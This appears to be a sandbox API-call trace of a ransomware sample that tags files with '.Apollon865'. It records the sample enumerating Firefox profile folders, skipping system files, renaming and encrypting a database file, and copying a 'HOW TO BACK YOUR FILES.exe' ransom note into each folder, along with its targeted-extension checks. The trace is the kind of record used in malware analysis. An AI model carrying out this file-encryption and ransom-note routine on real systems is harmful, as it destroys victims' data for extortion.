	[0042.753] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="818200132aebmoouht", cAlternateFileName="818200~1")) returned 1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="Apollon865.txt.exe") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2=".") returned 1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="..") returned 1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="windows") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="bootmgr") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="temp") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="pagefile.sys") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="boot") returned -1
	[0042.753] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="ids.txt") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="ntuser.dat") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="perflogs") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht", lpString2="MSBuild") returned -1
	[0042.754] lstrlenW (lpString="818200132aebmoouht") returned 18
	[0042.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*") returned 123
	[0042.754] lstrcpyW (in: lpString1=0x2d3e644, lpString2="818200132aebmoouht" | out: lpString1="818200132aebmoouht") returned="818200132aebmoouht"
	[0042.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0042.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11a) returned 0x5994f0
	[0042.754] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0042.754] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb81a92d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="Apollon865.txt.exe") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2=".") returned 1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="..") returned 1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="windows") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="bootmgr") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="temp") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="pagefile.sys") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="boot") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ids.txt") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ntuser.dat") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="perflogs") returned -1
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="MSBuild") returned -1
	[0042.754] lstrlenW (lpString="818200132aebmoouht.sqlite") returned 25
	[0042.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 140
	[0042.754] lstrcpyW (in: lpString1=0x2d3e644, lpString2="818200132aebmoouht.sqlite" | out: lpString1="818200132aebmoouht.sqlite") returned="818200132aebmoouht.sqlite"
	[0042.754] lstrlenW (lpString="818200132aebmoouht.sqlite") returned 25
	[0042.754] lstrlenW (lpString="Apollon865") returned 10
	[0042.754] lstrcmpiW (lpString1="uht.sqlite", lpString2="Apollon865") returned 1
	[0042.754] lstrlenW (lpString=".dll") returned 4
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".lnk") returned 4
	[0042.754] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2=".lnk") returned 1
	[0042.754] lstrlenW (lpString=".ini") returned 4
	[0042.755] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2=".ini") returned 1
	[0042.755] lstrlenW (lpString=".sys") returned 4
	[0042.755] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2=".sys") returned 1
	[0042.755] lstrlenW (lpString="818200132aebmoouht.sqlite") returned 25
	[0042.755] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.Apollon865") returned 158
	[0042.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0042.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0042.777] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=655360) returned 1
	[0042.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0042.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0042.777] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0042.778] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0042.778] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.778] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0300, lpName=0x0) returned 0x154
	[0042.780] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa0300) returned 0x4d0000
	[0042.813] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0042.813] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.813] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0042.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0042.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0042.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0042.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0042.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.814] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0042.820] CloseHandle (hObject=0x154) returned 1
	[0042.820] CloseHandle (hObject=0x15c) returned 1
	[0042.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.850] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318e2b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x318e2b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.850] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.850] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318e2b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x318e2b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0042.850] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.850] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0042.850] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht"
	[0042.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0042.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0042.850] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 140
	[0042.851] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht"
	[0042.851] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x319c73b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x319c73b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.857] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.857] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.857] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.857] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x319c73b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x319c73b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.857] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.857] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.857] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.857] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.857] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x319c73b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x319c73b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.857] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.857] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x319c73b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x319c73b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0042.857] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.857] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0042.857] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups"
	[0042.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0042.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0042.857] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups") returned 103
	[0042.857] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups"
	[0042.857] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.858] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.865] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.865] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x319ed510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x319ed510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.865] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.865] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.866] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.866] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x319ed510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x319ed510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.866] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.866] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.866] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.866] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.866] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc37c9330, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc37c9330, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc37df2c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bookmarks-2017-06-05_5.json", cAlternateFileName="BOOKMA~1.JSO")) returned 1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="Apollon865.txt.exe") returned 1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2=".") returned 1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="..") returned 1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="windows") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="bootmgr") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="temp") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="pagefile.sys") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="boot") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="ids.txt") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="ntuser.dat") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="perflogs") returned -1
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2="MSBuild") returned -1
	[0042.866] lstrlenW (lpString="bookmarks-2017-06-05_5.json") returned 27
	[0042.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*") returned 105
	[0042.866] lstrcpyW (in: lpString1=0x2d3e620, lpString2="bookmarks-2017-06-05_5.json" | out: lpString1="bookmarks-2017-06-05_5.json") returned="bookmarks-2017-06-05_5.json"
	[0042.866] lstrlenW (lpString="bookmarks-2017-06-05_5.json") returned 27
	[0042.866] lstrlenW (lpString="Apollon865") returned 10
	[0042.866] lstrcmpiW (lpString1="-05_5.json", lpString2="Apollon865") returned -1
	[0042.866] lstrlenW (lpString=".dll") returned 4
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2=".dll") returned 1
	[0042.866] lstrlenW (lpString=".lnk") returned 4
	[0042.866] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2=".lnk") returned 1
	[0042.866] lstrlenW (lpString=".ini") returned 4
	[0042.867] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2=".ini") returned 1
	[0042.867] lstrlenW (lpString=".sys") returned 4
	[0042.867] lstrcmpiW (lpString1="bookmarks-2017-06-05_5.json", lpString2=".sys") returned 1
	[0042.867] lstrlenW (lpString="bookmarks-2017-06-05_5.json") returned 27
	[0042.867] lstrlenW (lpString="bak") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="bak") returned 1
	[0042.867] lstrlenW (lpString="ba_") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="ba_") returned 1
	[0042.867] lstrlenW (lpString="dbb") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="dbb") returned 1
	[0042.867] lstrlenW (lpString="vmdk") returned 4
	[0042.867] lstrcmpiW (lpString1="json", lpString2="vmdk") returned -1
	[0042.867] lstrlenW (lpString="rar") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="rar") returned 1
	[0042.867] lstrlenW (lpString="zip") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="zip") returned -1
	[0042.867] lstrlenW (lpString="tgz") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="tgz") returned -1
	[0042.867] lstrlenW (lpString="vbox") returned 4
	[0042.867] lstrcmpiW (lpString1="json", lpString2="vbox") returned -1
	[0042.867] lstrlenW (lpString="vdi") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="vdi") returned -1
	[0042.867] lstrlenW (lpString="vhd") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="vhd") returned -1
	[0042.867] lstrlenW (lpString="vhdx") returned 4
	[0042.867] lstrcmpiW (lpString1="json", lpString2="vhdx") returned -1
	[0042.867] lstrlenW (lpString="avhd") returned 4
	[0042.867] lstrcmpiW (lpString1="json", lpString2="avhd") returned 1
	[0042.867] lstrlenW (lpString="db") returned 2
	[0042.867] lstrcmpiW (lpString1="on", lpString2="db") returned 1
	[0042.867] lstrlenW (lpString="db2") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="db2") returned 1
	[0042.867] lstrlenW (lpString="db3") returned 3
	[0042.867] lstrcmpiW (lpString1="son", lpString2="db3") returned 1
